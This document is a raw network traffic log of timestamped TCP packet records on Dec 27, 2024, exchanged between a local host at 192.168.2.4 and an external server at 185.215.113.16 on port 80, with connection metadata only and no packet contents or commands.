Dec 27, 2024 15:04:28.275499105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.275513887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.275551081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.276262045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.276407003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.276459932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.277014971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.277272940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.277604103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.277842045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.277940035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.278740883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.278753996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.278808117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.278820992 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.279438972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.279884100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.279946089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.319622040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.319756031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.319811106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.319880009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.330388069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.330404997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.330465078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.330728054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.330739975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.330771923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.336028099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.336122036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.336180925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.336363077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.336400032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.347256899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.347352028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.347431898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.347539902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.359277964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.359294891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.359348059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.359595060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.359637022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.398286104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.398322105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.398418903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.398581982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.398772001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.399729967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.399744987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.399801016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.400342941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.400355101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.400413036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.401101112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.401112080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.401156902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.401796103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.401926994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.401983976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.402720928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.402734041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.402777910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.403382063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.403769970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.403817892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.407426119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.407444000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.407512903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.443900108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.443963051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.444047928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.444154978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.454691887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.454770088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.454799891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.454912901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.455064058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.455116987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.455153942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.455195904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.455868006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.460305929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.460359097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.460362911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.460588932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.461361885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.471606016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.471757889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.471807003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.471879005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.485308886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.485367060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.485378027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.485641956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.485745907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.522886992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.523022890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.523117065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.523202896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.523364067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.523410082 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.524009943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.524099112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.524168015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.524841070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.524904966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.524954081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.525765896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.525825977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.525871038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.526407003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.526549101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.526592970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.527245045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.527342081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.527416945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.528047085 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.528140068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.528184891 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.528886080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.568264008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.568298101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.568438053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.568495035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.568545103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.579083920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.579112053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.579173088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.579176903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.579188108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.579240084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.579283953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.579988956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.580041885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.586004019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.586021900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.586071968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.586453915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.597354889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.597428083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.597496986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.597690105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.597737074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.609831095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.609954119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.610008955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.610218048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.646689892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.646755934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.646797895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.647000074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.647046089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.647185087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.647197008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.647249937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.647844076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.647974968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.648021936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.648175955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.648772955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.648823977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.648869038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.649616957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.649674892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.649832964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.650432110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.650480986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.650613070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.651241064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.651289940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.651295900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.651993990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.652045012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.652108908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.652812958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.652861118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.652940989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.692848921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.692914963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.692985058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.692996025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.693033934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.703171968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.703210115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.703299999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.703497887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.703660965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.703671932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.703707933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.704916954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.704967976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.708759069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.708815098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.708862066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.709116936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.720453024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.720473051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.720504999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.720675945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.720715046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.734494925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.734512091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.734522104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.734581947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.771512032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.771533966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.771595955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.771610022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.771656990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.771656990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.772073030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.772087097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.772128105 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.773205996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.773261070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.773447037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.774171114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.774224997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.774264097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.774838924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.774852991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.774885893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.775055885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.775070906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.775099993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.775759935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.775836945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.775862932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.777386904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.777441025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.777532101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.817362070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.817392111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.817471027 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.817543030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.817543030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.827996016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.828016043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.828098059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.828166008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.828322887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.828382969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.829113960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.833381891 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.833400965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.833456993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.833506107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.833583117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.844826937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.845055103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.845200062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.845712900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.858791113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.858838081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.858979940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.859270096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.859282970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.859324932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.861310005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.861363888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.895787954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.895869017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.896044016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.896202087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.896605968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.896641016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.896666050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.896817923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.896830082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.896861076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.897484064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.897542000 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.897624969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.898067951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.898107052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.898121119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.898793936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.898848057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.899116993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.899908066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.899965048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.899997950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.900584936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.900600910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.900638103 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.941329002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.941406012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.941406965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.941587925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.941731930 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.952157974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.952193022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.952395916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.952507973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.952631950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.952820063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.953306913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.953397036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.953437090 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.957406044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.957489967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.957540989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.957729101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.969419956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.969474077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.969482899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.969686985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.969727993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.983089924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.983223915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.983282089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.983323097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.983472109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.983515978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:28.983604908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.984303951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:28.984349012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.020440102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.020462036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.020472050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.020545006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.021382093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.021399021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.021411896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.021424055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.021445036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.021466970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.023257971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.023269892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.023282051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.023293972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.023319960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.023354053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.024318933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.024331093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.024358034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.024394035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.024415970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:29.024470091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:29.025247097 CET	80	49743	185.215.113.16	192.168.2.4
